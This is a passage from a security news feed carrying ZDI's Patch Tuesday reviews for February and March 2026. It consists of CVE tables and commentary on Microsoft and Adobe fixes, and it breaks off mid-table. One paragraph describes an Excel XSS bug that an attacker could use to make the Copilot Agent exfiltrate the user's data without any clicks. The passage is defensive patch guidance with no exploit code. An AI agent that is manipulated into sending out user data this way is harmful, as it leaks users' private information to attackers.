 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21261"><span><span> </span>CVE-2026-21261<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21527"><span><span> </span>CVE-2026-21527<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Exchange Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21260"><span><span> </span>CVE-2026-21260<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21229"><span><span> </span>CVE-2026-21229<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Power BI Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21236"><span><span> </span>CVE-2026-21236<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21238"><span><span> </span>CVE-2026-21238<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21241"><span><span> </span>CVE-2026-21241<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21517"><span><span> </span>CVE-2026-21517<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows App for Mac Installer Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21234"><span><span> </span>CVE-2026-21234<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21235"><span><span> </span>CVE-2026-21235<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21246"><span><span> </span>CVE-2026-21246<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21232"><span><span> </span>CVE-2026-21232<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21240"><span><span> </span>CVE-2026-21240<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21250"><span><span> </span>CVE-2026-21250<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21244"><span><span> </span>CVE-2026-21244<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21247"><span><span> </span>CVE-2026-21247<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21248"><span><span> </span>CVE-2026-21248<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21255"><span><span> </span>CVE-2026-21255<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21231"><span><span> </span>CVE-2026-21231<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21239"><span><span> </span>CVE-2026-21239<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21245"><span><span> </span>CVE-2026-21245<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21222"><span><span> </span>CVE-2026-21222<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21243"><span><span> </span>CVE-2026-21243<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Lightweight Directory Access
  Protocol (LDAP) Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841"><span><span> </span>CVE-2026-20841<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Notepad App Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21249"><span><span> </span>CVE-2026-21249<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows NTLM Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">3.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21508"><span><span> </span>CVE-2026-21508<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Storage Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21237"><span><span> </span>CVE-2026-21237<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21242"><span><span> </span>CVE-2026-21242<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1861"><span><span> </span>CVE-2026-1861 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1861 Heap buffer overflow
  in libvpx<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1862"><span><span> </span>CVE-2026-1862 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1862 Type Confusion in
  V8<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0391"><span><span> </span>CVE-2026-0391<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Edge (Chromium-based) for Android
  Spoofing Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.</p><p class="">Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.</p><p class="">Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.</p><p class="">There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.</p><p class="">There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.</p><p class="">We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The March 2026 Security Update Review]]></title>
<description><![CDATA[I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d...]]></description>
<link>https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for March 2026</strong></p><p class="">For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for <a href="https://helpx.adobe.com/security/products/acrobat/apsb26-26.html">Acrobat</a> likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for <a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html">Experience Manager</a> is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for <a href="https://helpx.adobe.com/security/products/magento/apsb26-05.html">Commerce</a> is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release. </p><p class="">The fix for <a href="https://helpx.adobe.com/security/products/illustrator/apsb26-18.html">Illustrator</a> corrects seven bugs, including a few Critical-rated ones. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-25.html">Substance 3D Painter</a> fixes nine different CVEs, all rated Important. That’s not the case for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html">Substance 3D Stager</a>, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-30.html">Adobe DNG Software Development Kit</a> (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution. </p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for March 2026</strong></p><p class="">This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.</p><p class="">This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.</p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><strong>CVE-2026-26144</strong></a><strong> - Microsoft Excel Information Disclosure Vulnerability<br></strong>This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><strong>CVE-2026-26110</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><strong>CVE-2026-26113</strong></a><strong> - Microsoft Office Remote Code Execution Vulnerability <br></strong>Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><strong>CVE-2026-23669</strong></a><strong> - Windows Print Spooler Remote Code Execution Vulnerability<br></strong>Just reading the title makes me twitch with remembrances of <a href="https://en.wikipedia.org/wiki/PrintNightmare">Print Nightmare</a> from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><strong>CVE-2026-23668</strong></a><strong> - Windows Graphics Component Elevation of Privilege Vulnerability<br></strong>This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.</p><p class="">Here’s the full list of CVEs released by Microsoft for March 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-March.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl65">
 <col width="263" class="xl66">
 <col width="111" class="xl67" span="4">
 <col width="95" class="xl67">
 <col width="645" class="xl65">
 <tr height="47">
  <td width="151" class="xl65" height="47"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl66"><span> </span>Title<span> </span></td>
  <td width="111" class="xl67"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl67"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl67"><span> </span>Public</td>
  <td width="111" class="xl67"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl67"><span> </span>Type<span> </span></td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26127"><span><span> </span>CVE-2026-26127<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21262"><span><span> </span>CVE-2026-21262<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23651"><span><span> </span>CVE-2026-23651<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26124"><span><span> </span>CVE-2026-26124<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"><span><span> </span>CVE-2026-26122<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21536"><span><span> </span>CVE-2026-21536<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Devices Pricing Program Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">9.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><span><span> </span>CVE-2026-26144<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><span><span> </span>CVE-2026-26110<span> </span></span></a></td>
